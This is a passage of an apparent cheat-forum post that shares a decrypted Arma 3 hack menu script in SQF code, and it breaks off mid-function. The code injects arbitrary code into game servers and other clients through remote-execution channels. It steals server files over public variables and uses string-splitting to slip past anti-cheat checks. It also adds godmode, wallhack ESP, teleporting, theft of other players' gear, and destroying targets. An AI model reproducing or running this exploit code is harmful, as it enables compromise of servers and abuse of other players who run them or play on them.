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  1. #1
    |Infinity|'s Avatar
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    Invictus MENU A3

    Code:
    Raw  invictus-load.sqf
    /*
    Decrypted and Fixed for MPGH 
    22.11.2015
    */
    
    
    //1decrypt
    ['DEFINITIONEN'] call {
    	O_fnc_RE = 0;
    	O_fnc_Current = 1;
    	O_fnc_MinMenu = 1;
    	O_fnc_MaxMenu = 13;
    	O_fnc_quickAttach = false;
    	O_fnc_whiles = false;
    	O_fnc_RunnedFSteal = false;
    	O_fnc_keySetup = false;
    	O_fnc_QuickAccessMenu = false;
    	Q_fnc_QuickAccessOpened = false;
    	O_fnc_quickEnd = false;
    	O_fnc_quickExec = false;
    	O_fnc_quickDummy = false;
    	O_fnc_quickESP = false;
    	O_fnc_quickGod  = false;
    	O_fnc_quickPlayAction = false;
    	O_fnc_initMenu = {};
    	O_fnc_keyBind = {};	 
    	O_fnc_QuickkeyStuff = {};
    	O_fnc_Modus = "AltisLife";
    	O_fnc_textTarget = "Invictus";
    	O_fnc_textDeleteTar = "";
    	O_fnc_textDummy = "";
    	O_fnc_textESP = "";
    	O_fnc_textExplodeTar = "";
    	O_fnc_textGearTar = "";
    	O_fnc_textGod = "";
    	O_fnc_textHeal = "";
    	O_fnc_textJoinVeh = "";
    	O_fnc_textTarget = "";
    	O_fnc_textTeleport = "";
    };
    
    
    ['FUNCTIONS'] call {
    	O_fnc_ArmA = {
    		if(isNil 'O_fnc_REFirstRuntime') then {
    			O_fnc_REFirstRuntime = createMarker ["Christian",[0,0]];
    			"Christian" setMarkerShape "ICON";
    			"Christian" setMarkerType "Empty";
    			"Christian" setMarkerAlpha 0;
    			_code = '
    					[] spawn {					
    						if(isServer) then {		
    							while{true} do {							
    								waitUntil{ (markerText "Christian") != ""};							
    									_text = markerText "Christian";							
    									"Christian" setMarkerText "";							
    									("LOGIC") createUnit[[0,0,0],createGroup sideLogic,";" + _text + ";"];						
    								};					
    							};				
    						};	
    					';
    			
    			if(!isNil "LIFE_fnc_1MP") then {			
    
    				call O_fnc_ArmAInf;
    			} else {
    				
    				_fnc_mpPacket = "Nothing";
    				
    				if (!isNil "LIFE_fnc_mp")then{
    					_fnc_mpPacket = life_fnc_MP;
    				}else{
    					_fnc_mpPacket = BIS_fnc_MP;
    				};
    				
    				_lvl0 = {
    					_initRE = {
    						life_fnc_MP_packet = {_text = str(_this);call compile _text;};
    						publicVariable "life_fnc_MP_packet";
    						uiSleep 1;
    					};
    					if(!isNil 'life_fnc_MP_packet') then {
    						if(typeName life_fnc_MP_packet != "CODE") then {
    							call _initRE;
    						};
    					} else {
    						call _initRE;
    					};
    					
    					[createTeam["INFINI",(_this)],"life_fnc_MP_packet",true,false] call BIS_fnc_MP;
    				};
    				
    				_lvl1 = {
    					[[_this],"DB_fnc_mresToArray",false,false] call BIS_fnc_execRemote;				
    				};
    				
    				_lvl2 = {
    					[{_this},"BIS_fnc_Spawn",false,false] call BIS_fnc_MP;
    				};
    
    				_lvl3 = {
    					_agent1 = createAgent ["C_man_1", position player, [], 0, "SAFE"];
    					[_agent1,configFile >> "CfgVehicles" >> "C_Nikos_aged"] call BIS_fnc_loadInventory;
    					
    					_agent1 spawn{
    						_this setName "Agent";
    						_this setVariable["agentObject",_this,true];
    						_this setVariable ["owner", "world", true];
    						_this setVariable ["BIS_fnc_animalBehaviour_disable", true];
    						_this setVariable ['BIS_enableRandomization',false];
    					};
    					
    					_agent1 addMPEventhandler ['MPKilled',_this];
    					_agent1 setDamage 5;
    					deleteVehicle _agent1;
    				};
    				
    				_lvl4 = {
    					{_this} remoteExec ["BIS_fnc_Spawn", 0]; 
    				};
    				
    				_lvl5 = {
    					("LOGIC") createUnit [[0,0,0],createGroup sideLogic,";" + _this + ";"];
    				};
    				
    				_code call _lvl1;
    				call O_fnc_ArmAInf;
    			};
    		};
    		
    		waitUntil {!isNil "O_fnc_REFirstRuntime"};
    		
    		_code = _this select 0;
    		_target = [_this,1,"SWAGGER"] call BIS_fnc_param;
    		_text = _code;
    			
    		if(typename _code == typename []) then {
    				_text = _code select 0;
    		};
    
    		if(typename _text == "CODE") then {
    				_arr = toArray str(_text);
    				_arr set [0,32];
    				_arr set [count(_arr)-1,32];
    				_text = toString _arr;
    		};
    
    		if(typename _target != "STRING") then {
    				if(typename _target == "OBJECT") then {
    						_netId = netId _target;
    						_text = format["[] spawn {if(netid player == '%2') then {%1};};",_text,_netID];
    				} else {
    						if(typename _target == typename true) then {
    								if(!_target) then {
    										_text = format[" [] spawn {if(isServer) then {%1};};",_text];
    								} else {
    										_text = format[" [] spawn {if(!isDedicated) then {%1};};",_text];
    								};
    						};
    				};
    		} else {
    				_text = format["[] spawn {%1};",_text];
    		};
    
    		"Christian" setMarkerText _text;
    	};
    	
    	O_fnc_ArmAInf = {
    		_babe = {
    			profileNamespace setVariable ['STEAM_NAME_ARRAY', []];
    		};
    		
    		[_babe, player] call O_fnc_ArmA;
    	};
    	
    	O_fnc_ArmAFile = {
    		disableSerialization;
    		_edit = uiNamespace getVariable "RscEdit";
    		O_fnc_fileName = ctrlText _edit;
    		
    		if (O_fnc_fileName == "")exitWith {hint "Enter a filename"};
    		
    		_babe = format["
    			_contents = preprocessfile '%1'; 
    			missionNamespace setVariable ['JipTimeNow', 'NOPE']; 
    			missionNamespace setVariable ['JipTimeNow', _contents]; 
    			publicVariable 'JipTimeNow'; ",O_fnc_fileName];
        
    		
    		[_babe, false] call O_fnc_ArmA;
    		
    		"JipTimeNow" addPublicVariableEventHandler {
    			_t = _this select 1;
    			profileNamespace setVariable['OfnmmNMMnn', _this select 1]; 
    			saveProfileNamespace;
    			_t = profileNamespace getVariable "OfnmmNMMnn";
    			[_t,O_fnc_fileName] spawn O_fnc_initFSteal;
    		};
    	};
    };
    
    
    ['CALLBACK FUNCTIONS'] call {
    
    	O_fnc_inString = compileFinal '
    		private["_string","_separator","_stringArray","_separatorArray","_resultArray","_localArray"];
    		_string = [_this,0,"",[""]] call bis_fnc_param;
    		_separator = [_this,1,"",[""]] call bis_fnc_param;
    		_stringArray = toArray _string;
    		_separatorArray = toArray _separator;
    		_resultArray = [];
    		_localArray = [];
    		{
    			if (_x in _separatorArray) then {
    				_resultArray set [count _resultArray,toString _localArray];
    				_localArray = [];
    			} else {
    				_localArray set [count _localArray,_x];
    			};
    		} foreach _stringArray;
    		_resultArray set [count _resultArray,toString _localArray];
    		_resultArray = _resultArray - [""];
    		_resultArray
    	';
    
    	O_fnc_Contains = compileFinal '
    	private ["_find", "_string", "_casesensitive", "_found", "_findarray", "_stringarray", "_findcount", "_stringcount", "_match", "_y", "_i", "_x", "_forEachIndex"];
    	_find = [_this, 0, "", [""]] call BIS_fnc_param;
    	_string = [_this, 1, "", [""]] call BIS_fnc_param;
    	_casesensitive = [_this, 2, false, [false]] call BIS_fnc_param;
    	_found = false;
    	_findarray = toArray _find;
    	_stringarray = toArray _string;
    	_findcount = count _findarray;
    	_stringcount = count _stringarray;
    	scopeName "main";
    	if (_findcount <= _stringcount) then
    	{
    	for "_y" from 0 to (_stringcount - _findcount) do
    	{
    	_match = [];
    	for "_i" from 0 to (_findcount - 1) do
    	{
    	_match set [count _match, _stringarray select (_y + _i)];
    	};
    	if (_casesensitive) then
    	{
    	_found = true;
    	{
    	if (_x != (_match select _forEachIndex)) then
    	{
    	_found = false;
    	};
    	} forEach _findarray;
    	}
    	else
    	{
    	if (_find == toString _match) then
    	{
    	_found = true;
    	};
    	};
    	if (_found) then {breakTo "main";};
    	};
    	};
    	_found; 
    	';
    };
    
    ['MAIN FUNCTIONS'] call {
    	O_fnc_CPerson = {
    		disableSerialization;
    		O_fnc_DummyID = player;
    
    		_dummy = createAgent ["C_man_1", position player, [], 0, "SAFE"];
    		[_dummy,configFile >> "CfgVehicles" >> "C_Nikos_aged"] call BIS_fnc_loadInventory;
    		
    		_dummy setName "DrNobody";
    		_dummy setVariable["agentObject",_this,true];
    		_dummy setVariable ["steam64ID","751267613374118"];
    		_dummy setVariable ["realname","DrNobody",true];
    		_dummy setVariable ["realName","DrNobody",true];
    		_dummy setVariable ["restrained",false,true];
    		_dummy setVariable ["Escorting",false,true];
    		_dummy setVariable ["transporting",false,true];
    		_dummy setVariable ["owner", "world", true];
    		
    		if (!isNil "life_fnc_playerTags")then{
    			disableSerialization;
    			[] call life_fnc_playerTags;
    		}else{
    			disableSerialization;
    			[] call compile preprocessfileLineNumbers "core\functions\fn_playerTags.sqf";
    		};
    	
    		selectPlayer _dummy;
    		vehicle _dummy switchCamera "EXTERNAL";
    	};
    };
    
    O_fnc_initFSteal = {
    	disableSerialization;
    	closeDialog 49;
    	
    	_text = _this select 0;
    	_file = _this select 1;
    	
    	_filter = "
    ";
    
    	_text = toArray _text;
    	_filter = toArray _filter;
    
    	{
    		if(_x in _filter) then {
    			_text set[_forEachIndex,32];
    		};
    	} foreach _text;
    
    	_text = _text - [-1];
    	_text = toString _text;
    	
    	if (_text == "")then{
    		_text = profileNamespace getVariable "OfnmmNMMnn";
    	};
    	
    	if (_file == "")exitWith {hint "Enter a filename"};
    		
    	if (_text != "")then{
    		call compile format['findDisplay 46 cre'+'a'+'te'+'Di'+'sp'+'la'+'y "Rs"+"cDi"+"spl"+"ayDe"+"bu"+"g";'];
    		waitUntil {!isNull findDisplay 56};
    		O_fnc_RunnedFSteal = true;
    		_1 = (findDisplay 56) displayCtrl 13142; 
    		_1 ctrlShow false;
    		_1 = (findDisplay 56) displayCtrl 13155; 
    		_1 ctrlShow false;
    		_1 = (findDisplay 56) displayCtrl 151; 
    		_1 ctrlShow false;
    		_1 = (findDisplay 56) displayCtrl 13157; 
    		_1 ctrlShow false;
    		_1 = (findDisplay 56) displayCtrl 13158; 
    		_1 ctrlShow false;
    		_1 = (findDisplay 56) displayCtrl 13159; 
    		_1 ctrlShow false;
    		_1 = (findDisplay 56) displayCtrl 13160; 
    		_1 ctrlShow false;
    		_1 = (findDisplay 56) displayCtrl 13161; 
    		_1 ctrlShow false;
    		_1 = (findDisplay 56) displayCtrl 13162; 
    		_1 ctrlShow false;
    		_1 = (findDisplay 56) displayCtrl 13163; 
    		_1 ctrlShow false;
    		_1 = (findDisplay 56) displayCtrl 12145; 
    		_1 ctrlShow false;
    		_1 = (findDisplay 56) displayCtrl 11838; 
    		_1 ctrlShow false;
    		_1 = (findDisplay 56) displayCtrl 12146; 
    		_1 ctrlShow false;
    		_1 = (findDisplay 56) displayCtrl 12537; 
    		_1 ctrlShow false;
    		_1 = (findDisplay 56) displayCtrl 13037; 
    		_1 ctrlShow false;
    		_1 = (findDisplay 56) displayCtrl 13036; 
    		_1 ctrlShow false;
    		_1 = (findDisplay 56) displayCtrl 13039; 
    		_1 ctrlShow false;
    		_1 = (findDisplay 56) displayCtrl 13038; 
    		_1 ctrlShow false;
    		_1 = (findDisplay 56) displayCtrl 103; 
    		_1 ctrlShow false;
    		_1 = (findDisplay 56) displayCtrl 152; 
    		_1 ctrlShow false;
    		
    		_1 = (findDisplay 56) displayCtrl 102; 
    		_1 ctrlSetText "Execute Local";
    		_1 buttonSetAction '_back = (findDisplay 56) displayCtrl 101; _text = ctrlText _back; call compile format ["%1",_text];';
    		
    		_1 = (findDisplay 56) displayCtrl 1; 
    		_1 ctrlSetText "Execute Global";
    		_1 buttonSetAction '_back = (findDisplay 56) displayCtrl 101; _text = ctrlText _back; call compile format ["[{%1},TRUE] call O_fnc_ArmA;",_text];';
    		
    		_1 = (findDisplay 56) displayCtrl 11736; 
    		_1 ctrlSetText format ["Content: %1",_file];
    		
    		_1 = (findDisplay 56) displayCtrl 101; 
    		_1 ctrlSetText _text;
    		
    		while {!isNull findDisplay 56}do {
    			waitUntil {isNull findDisplay 56};
    			"dynamicBlur" ppEffectEnable false; 
    		};
    	}else{
    		hint format ["File not found... Return: [%1] ", str _text];
    	};
    };
          
                           
    //2decrypt
    O_fnc_QuickAccess = {
    	Q_fnc_QuickAccessOpened = true;
    	disableSerialization;
    	
    	_display = findDisplay 46;
    
    	_back = _display ctrlCreate ["IGUIBack", -1];
    	
    	_back ctrlSetPosition [-0.9125,-0.56,0.2825,0.58];
    	_back ctrlSetBackgroundColor [0,0,0,0.65];
    	_back ctrlCommit 0.0;
    
    	uiNamespace setVariable ["IGUIBack_1_QuickAccess", _back];
    	
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [-0.9125,-0.56,0.2825,0.04];
    	_back ctrlSetText format ["TARGET: %1",cursorTarget];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_1_QuickAccess", _back];	
    	
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [-0.9125,-0.50,0.2825,0.04];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_2_QuickAccess", _back];	
    	
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [-0.9125,-0.46,0.2825,0.04];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_3_QuickAccess", _back];	
    	
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [-0.9125,-0.42,0.2825,0.04];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_4_QuickAccess", _back];	
    	
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [-0.9125,-0.38,0.2825,0.04];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_5_QuickAccess", _back];	
    	
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [-0.9125,-0.34,0.2825,0.04];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_6_QuickAccess", _back];	
    	
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [-0.9125,-0.30,0.2825,0.04];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_7_QuickAccess", _back];	
    	
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [-0.9125,-0.26,0.2825,0.04];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_8_QuickAccess", _back];	
    	
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [-0.9125,-0.22,0.2825,0.04];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_9_QuickAccess", _back];	
    	
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [-0.9125,-0.18,0.2825,0.04];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_10_QuickAccess", _back];
    	
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [-0.9125,-0.14,0.2825,0.04];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_11_QuickAccess", _back];
    	
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [-0.9125,-0.10,0.2825,0.04];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_12_QuickAccess", _back];
    	
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [-0.9125,-0.06,0.2825,0.04];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_13_QuickAccess", _back];
    	
    	_back = _display ctrlCreate ["RscStructuredText", -1];
    		
    	_back ctrlSetPosition [-0.9125,-0.02,0.2825,0.04];
    	_back ctrlCommit 0.0;
    	
    	uiNamespace setVariable ["RscStructuredText_14_QuickAccess", _back];
    	
    	O_fnc_QuickkeyStuff = {
    		switch (_this)do{
    			
    			case 0xC8: 
    			{
    				if (O_fnc_Current == O_fnc_MinMenu)then{
    					O_fnc_Current = O_fnc_MaxMenu;
    				}else{
    					O_fnc_Current = O_fnc_Current - 1;
    				};
    			};
    			
    			case 0xD0:
    			{
    				if (O_fnc_Current == O_fnc_MaxMenu)then{
    					O_fnc_Current = O_fnc_MinMenu;
    				}else{
    					O_fnc_Current = O_fnc_Current + 1;
    				};
    			};
    			
    			case 0xCD:
    			{
    				O_fnc_quickExec = true;
    			};
    			
    			case 0xCB:
    			{
    				O_fnc_quickEnd = true;
    			};
    		};
    	};
    	
    	_undef = (findDisplay 46) displayAddEventHandler ["KeyDown", "_this select 1 call O_fnc_QuickkeyStuff;false;"];
    	
    	[] spawn {
    		while {true}do{	
    			if (O_fnc_Current == 1) then{
    				O_fnc_textGod =           "-   Godmode   -";
    			}else { O_fnc_textGod =       "   Godmode   ";};
    			
    			if (O_fnc_Current == 2)then{
    				O_fnc_textHeal =          "-     Heal Meh     -";
    			}else { O_fnc_textHeal =      "     Heal Meh     ";};
    			
    			if (O_fnc_Current == 3)then{
    				O_fnc_textESP =           "-       ESP       -";
    			}else { O_fnc_textESP =       "       ESP       ";};
    			
    			if (O_fnc_Current == 4)then{
    				O_fnc_textDummy =         "-    Dummy    -";
    			}else { O_fnc_textDummy =     "    Dummy    ";};
    			
    			if (O_fnc_Current == 5)then{
    				O_fnc_textTeleport =      "-    Teleport    -";
    			}else { O_fnc_textTeleport =  "    Teleport    ";};
    			
    			if (O_fnc_Current == 6)then{
    				O_fnc_textGearTar =       "- Gear  Target -";
    			}else { O_fnc_textGearTar =   " Gear  Target ";};
    			
    			if (O_fnc_Current == 7)then{
    				O_fnc_textDeleteTar =     "-   Delete  Target   -";
    			}else { O_fnc_textDeleteTar = "    Delete  Target    ";};
    			
    			if (O_fnc_Current == 8)then{
    				O_fnc_textJoinVeh =       "- Join Vehicle -";
    			}else { O_fnc_textJoinVeh =   "  Join Vehicle  ";};
    			
    			if (O_fnc_Current == 9)then{
    				O_fnc_textExplodeTar =    "-   Explode Target   -";
    			}else {O_fnc_textExplodeTar = "    Explode Target    ";};
    			
    			if (O_fnc_Current == 10)then{
    				O_fnc_textSculptureTar =    "-   Sculpture Target   -";
    			}else {O_fnc_textSculptureTar = "    Sculpture Target    ";};
    			
    			if (O_fnc_Current == 11)then{
    				O_fnc_textAttachTar =    "-    Attach Target    -";
    			}else {O_fnc_textAttachTar = "     Attach Target     ";};
    			
    			if (O_fnc_Current == 12)then{
    				O_fnc_textGetInAllTar =    "-   All in Vehicle   -";
    			}else {O_fnc_textGetInAllTar = "    All in Vehicle    ";};
    			
    			if (O_fnc_Current == 13)then{
    				O_fnc_textPlayActionTar =    "-   PlayAction Target   -";
    			}else {O_fnc_textPlayActionTar = "    PlayAction Target    ";};
    		
    		
    			if (cursorTarget isKindOf "Man") then{
    				if (isPlayer cursorTarget) then{
    					O_fnc_textTarget = name cursorTarget;
    				}else{
    					try{
    						O_fnc_textTarget = "AI: " + name cursorTarget;
    					}catch{
    						O_fnc_textTarget = "AI";
    					};
    				};
    			}else{
    				try{
    					_tar = cursorTarget;
    					
    					if (_tar isKindOf "LandVehicle" || _tar isKindOf "Air" || _tar isKindOf "Ship" && driver _tar != objNull) then{
    						_cursorTarget = getText (configFile >> "CfgVehicles" >> typeOf cursorTarget >> "displayName");
    						O_fnc_textTarget = "("+ _cursorTarget +") " + name (driver cursorTarget);
    					}else{
    						if (_tar isKindOf "LandVehicle" || _tar isKindOf "Air" || _tar isKindOf "Ship") then{
    							O_fnc_textTarget = "("+ _cursorTarget +") ";
    						};
    					};
    				}catch{
    					O_fnc_textTarget = cursorTarget;
    				};
    			};
    			
    		
    			
    			(uiNamespace getVariable "RscStructuredText_1_QuickAccess")  ctrlSetStructuredText parseText format["<t size='0.75' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textTarget+"</t>"];
    			
    			if (O_fnc_quickGod)then{
    				(uiNamespace getVariable "RscStructuredText_2_QuickAccess")  ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#6FCC5C' align='center'><t shadowColor='#000000'>"+O_fnc_textGod+"</t>"];
    			}else{
    				(uiNamespace getVariable "RscStructuredText_2_QuickAccess")  ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textGod+"</t>"];
    			};
    			
    			(uiNamespace getVariable "RscStructuredText_3_QuickAccess")  ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textHeal+"</t>"];
    			
    			if (O_fnc_quickESP)then{
    				(uiNamespace getVariable "RscStructuredText_4_QuickAccess")  ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#6FCC5C' align='center'><t shadowColor='#000000'>"+O_fnc_textESP+"</t>"];
    			}else{
    				(uiNamespace getVariable "RscStructuredText_4_QuickAccess")  ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textESP+"</t>"];
    			};
    			
    			
    			if (O_fnc_quickDummy)then{
    				(uiNamespace getVariable "RscStructuredText_5_QuickAccess")  ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#6FCC5C' align='center'><t shadowColor='#000000'>"+O_fnc_textDummy+"</t>"];
    			}else{
    				(uiNamespace getVariable "RscStructuredText_5_QuickAccess")  ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textDummy+"</t>"];
    			};
    			
    			(uiNamespace getVariable "RscStructuredText_6_QuickAccess")  ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textTeleport+"</t>"];
    			
    			(uiNamespace getVariable "RscStructuredText_7_QuickAccess")  ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textGearTar+"</t>"];
    			
    			(uiNamespace getVariable "RscStructuredText_8_QuickAccess")  ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textDeleteTar+"</t>"];
    			
    			(uiNamespace getVariable "RscStructuredText_9_QuickAccess")  ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textJoinVeh+"</t>"];
    			
    			(uiNamespace getVariable "RscStructuredText_10_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textExplodeTar+"</t>"];
    			
    			(uiNamespace getVariable "RscStructuredText_11_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textSculptureTar+"</t>"];
    			
    			if (O_fnc_quickAttach)then{
    				(uiNamespace getVariable "RscStructuredText_12_QuickAccess")  ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#6FCC5C' align='center'><t shadowColor='#000000'>"+O_fnc_textAttachTar+"</t>"];
    			}else{
    				(uiNamespace getVariable "RscStructuredText_12_QuickAccess")  ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textAttachTar+"</t>"];
    			};
    			
    			(uiNamespace getVariable "RscStructuredText_13_QuickAccess")  ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textGetInAllTar+"</t>"];
    			
    			if (O_fnc_quickPlayAction)then{
    				(uiNamespace getVariable "RscStructuredText_14_QuickAccess")  ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#6FCC5C' align='center'><t shadowColor='#000000'>"+O_fnc_textPlayActionTar+"</t>"];
    			}else{
    				(uiNamespace getVariable "RscStructuredText_14_QuickAccess")  ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textPlayActionTar+"</t>"];
    			};
    		
    			switch (O_fnc_Current) do {
    				case 1:
    				{
    				
    					if (O_fnc_quickExec)then{
    						O_fnc_quickExec = false;
    						O_fnc_quickGod = true;
    						player allowDamage false;
    					}else{
    						if (O_fnc_quickEnd)then{
    							O_fnc_quickEnd = false;
    							O_fnc_quickGod = false;
    							player allowDamage true;
    						};
    					};
    				};
    				
    				case 2:
    				{
    					
    					if (O_fnc_quickExec)then{
    						O_fnc_quickExec = false;
    						player setDamage 0;
    					};
    				};
    				
    				case 3:
    				{
    				
    					if (O_fnc_quickExec)then{
    						O_fnc_quickExec = false;
    						O_fnc_quickESP = true;
    
    						onEachFrame {
    							{
    								if(side _x != side player && ((player distance _x) < 700) && isPlayer _x) then {
    									drawIcon3D ["", [1,0,0,0.7], position _x, 1, 1, 45, name _x, 1, 0.03, "PuristaBold"]
    								}else{
    									if (alive _x && ((player distance _x) < 700) && isPlayer _x) then{
    										drawIcon3D ["", [0,1,0.5,0.4], position _x, 1, 1, 45, name _x, 1, 0.03, "PuristaBold"]
    									};
    								};
    							} foreach allUnits;
    						 
    							_mans = nearestobjects [player,["man"],100]; 
    							
    							{
    								if(alive _x && ((player distance _x) < 700) && isPlayer _x) then {
    									if(side _x != side player) then {
    										if(player distance _x < 5 && _x iskindof "man" && side _x != civilian && isPlayer _x) then {
    											drawLine3D [[getposatl player select 0, getposatl player select 1, 1], _x, [1,0.2,0.3,(abs((((player distance _x)) - 100)/100))]]
    										}else{
    											drawLine3D [[getposatl player select 0, getposatl player select 1, 1], _x, [1,0,0,(abs((((player distance _x)) - 100)/100))]]
    										};
    									}else{
    										drawLine3D [[getposatl player select 0, getposatl player select 1, 1], _x, [0,1,0,(abs((((player distance _x)) - 100)/100))]]};
    								};
    							}foreach _mans; 
    						};
    					}else{
    					
    						if (O_fnc_quickEnd)then
    						{
    							O_fnc_quickEnd = false;
    							O_fnc_quickESP = false;
    							onEachFrame {};
    						};
    					};
    				};
    				
    				case 4:
    				{	
    					
    					if (O_fnc_quickExec)then
    					{
    						O_fnc_quickExec = false;
    						O_fnc_quickDummy = true;
    						[] spawn O_fnc_CPerson;
    						
    					}else{
    						if (O_fnc_quickEnd)then
    						{
    							O_fnc_quickEnd = false;
    							O_fnc_quickDummy = false;
    							if (!isNil "O_fnc_DummyID")then
    							{
    								_player = O_fnc_DummyID; 	selectPlayer _player; 	vehicle _player switchCamera "EXTERNAL"; 	O_fnc_DummyID = nil;
    							};
    						};
    					};
    				};
    				
    				case 5:
    				{
    				
    					if (O_fnc_quickExec)then{
    						O_fnc_quickExec = false;
    						_pos = vehicle player modelToWorld[0,10,0];
    						vehicle player setPos _pos;
    					};
    				};
    				
    				case 6:
    				{
    					if (O_fnc_quickExec)then{
    						O_fnc_quickExec = false;
    						_vest = vest cursorTarget;
    						_uniform = uniform cursorTarget;
    						_backpack = backpack cursorTarget;
    						_weapon = primaryWeapon cursorTarget;
    						_weapon2 = secondaryWeapon cursorTarget;
    						_head = headgear cursorTarget;
    						_items = itemsWithMagazines cursorTarget;
    					
    						
    						player addVest _vest;
    						player addUniform _uniform;
    						player addBackPack _backpack;
    						player addWeapon _weapon;
    						player addWeapon _weapon2;
    						player addHeadgear _head;
    						
    						
    						{
    							player addItem _x;
    						}forEach _items;
    						
    						removeVest cursorTarget;
    						removeUniform cursorTarget;
    						removeBackpackGlobal cursorTarget;
    						removeHeadgear cursorTarget;
    						removeAllWeapons cursorTarget;
    						cursorTarget removeWeaponGlobal (primaryWeapon cursorTarget);
    						cursorTarget removeWeaponGlobal (secondaryWeapon cursorTarget);
    						removeAllItemsWithMagazines cursorTarget;
    					}else{
    						if (O_fnc_quickEnd)then
    						{
    							O_fnc_quickEnd = false;
    							_vest = vest player;
    							_uniform = uniform player;
    							_backpack = backpack player;
    							_weapon = primaryWeapon player;
    							_weapon2 = secondaryWeapon player;
    							_head = headgear player;
    							_items = itemsWithMagazines player;
    						
    							
    							cursorTarget addVest _vest;
    							cursorTarget addUniform _uniform;
    							cursorTarget addBackPack _backpack;
    							cursorTarget addWeapon _weapon;
    							cursorTarget addWeapon _weapon2;
    							cursorTarget addHeadgear _head;
    							
    							
    							{
    								cursorTarget addItem _x;
    							}forEach _items;
    						};
    					};
    				};
    				
    				case 7:
    				{
    					if (O_fnc_quickExec)then{
    						O_fnc_quickExec = false;
    						deleteVehicle cursorTarget;
    					};
    				};
    				
    				case 8:
    				{	
    					if (O_fnc_quickExec)then{
    						O_fnc_quickExec = false;
    						
    						try{
    							cursorTarget lock false;
    							player moveinDriver cursorTarget;
    						}catch{
    
    						};
    					};
    				};
    				
    				case 9:
    				{
    					if (O_fnc_quickExec)then{
    						O_fnc_quickExec = false;
    						cursorTarget setDammage 1;
    					};
    				};
    				
    				case 10:
    				{
    					if (O_fnc_quickExec)then{
    						O_fnc_quickExec = false;
    						{
    							if (player distance _x < 150)then
    							{
    								if (netID _x != netID player)then
    								{
    									_x attachTo [cursorTarget,[5, 5, 5], "Pelvis"];
    								};
    							};
    						}forEach allMissionObjects "all";
    					};
    				};
    				
    				case 11:
    				{	
    					if (O_fnc_quickExec)then
    					{	
    						O_fnc_quickExec = false;
    						O_fnc_quickAttach = true;
    						cursorTarget attachTo [player,[0, 6, 0], "Pelvis"];
    					}else{
    						if (O_fnc_quickEnd)then
    						{
    							O_fnc_quickEnd = false;
    							O_fnc_quickAttach = false;
    							{
    							  detach _x;
    							} forEach attachedObjects player;
    						};
    					};
    				};
    				
    				case 12:
    				{	
    					if (O_fnc_quickExec)then{
    						O_fnc_quickExec = false;
